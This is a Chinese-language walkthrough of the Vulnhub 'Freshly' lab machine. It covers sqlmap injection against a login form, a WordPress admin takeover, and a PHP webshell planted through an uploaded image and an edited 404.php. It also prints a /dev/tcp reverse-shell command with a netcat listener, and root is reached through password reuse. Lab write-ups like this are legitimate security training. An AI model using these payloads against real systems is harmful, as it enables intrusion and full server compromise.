Vulnhub Freshly

环境下载地址:https://www.vulnhub.com/entry/tophatsec-freshly,118/

环境配置

这里我使用的是Oracle VM VirtualBox,选择导入虚拟电脑,导入进去启动就可以。

进入正题

这里我搭建好之后只知道在192.168.56.x,扫一波:


发现靶机的ip地址是192.168.56.101,开发了80/443/8080端口

80端口是个

8080端口是个wordpress,直接抄起wpscan扫扫看吧

存在一些漏洞,但是google看了一下不太好利用,回头看80端口的web服务

先扫一波80端口的目录

访问login.php

尝试弱口令无果,转注入,burpsuite转包

1
2
3
4
5
6
7
8
9
10
11
12
13
14
POST /login.php HTTP/1.1
Host: 192.168.56.101
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:58.0) Gecko/20100101 Firefox/58.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://192.168.56.101/login.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 34
Cookie: PHPSESSID=ut84nccmihnf7loggh43jgee52; Cart66DBSID=L91MO6RA2M5CMOGII2YKX4MYD9KGAQ754S4E0YQ8
Connection: keep-alive
Upgrade-Insecure-Requests: 1
user=admin&password=admin&s=Submit

存到1.txt里面,执行命令

1
python sqlmap.py -r 1.txt --level 2

可以通过盲注跑出结果

找到wordpress的登录密码

1
2
3
+----------+---------------------+
| admin | SuperSecretPassword |
+----------+---------------------+

现在就可以尝试进wordpress后台看看能不能getshell。

wordpress后台getshell方式我知道的有两种,改模板和上传主题。

这里我利用的上传了木马的图片,图片中的代码为

1
<?php fputs(fopen('shell.php','w'),'<?php eval($_POST[1])?>');?>

上传之后能找到路径,然后改404.php来包含以下生成一个新的shell.php。

1
2
3
<?php
include "../../../uploads/2018/02/flag1.gif";
?>

这里我用的蚁剑来连接

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
$ whoami
daemon
$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
libuuid:x:100:101::/var/lib/libuuid:
syslog:x:101:104::/home/syslog:/bin/false
messagebus:x:102:105::/var/run/dbus:/bin/false
user:x:1000:1000:user,,,:/home/user:/bin/bash
mysql:x:103:111:MySQL Server,,,:/nonexistent:/bin/false
candycane:x:1001:1001::/home/candycane:
# YOU STOLE MY SECRET FILE!
# SECRET = "NOBODY EVER GOES IN, AND NOBODY EVER COMES OUT!"

找到secret file,但是现在权限还是daemon,尝试提权

1
sudo: no tty present and no askpass program specified

这里使用下面的代码解决这个问题

1
python -c 'import pty; pty.spawn("/bin/sh")'

但是发现在菜刀或者蚁剑来执行命令都失败,尝试反弹个shell出去

1
bash -c 'sh -i &>/dev/tcp/192.168.56.1/7777 0>&1'

本地nc监听一下

1
2
3
4
5
6
7
8
9
10
11
12
λ nc -lvnp 7777
listening on [any] 7777 ...
connect to [192.168.56.1] from (UNKNOWN) [192.168.56.101] 48224
sh: 0: can't access tty; job control turned off
$ ls
shell.php
$ python -c 'import pty; pty.spawn("/bin/sh")'
$ python -c 'import pty; pty.spawn("/bin/sh")'
python -c 'import pty; pty.spawn("/bin/sh")'
$ su root
su root
Password: SuperSecretPassword

这里使用之前的密码试试,原来密码重用,提权成功

1
2
3
root@Freshly:~# whoami
whoami
root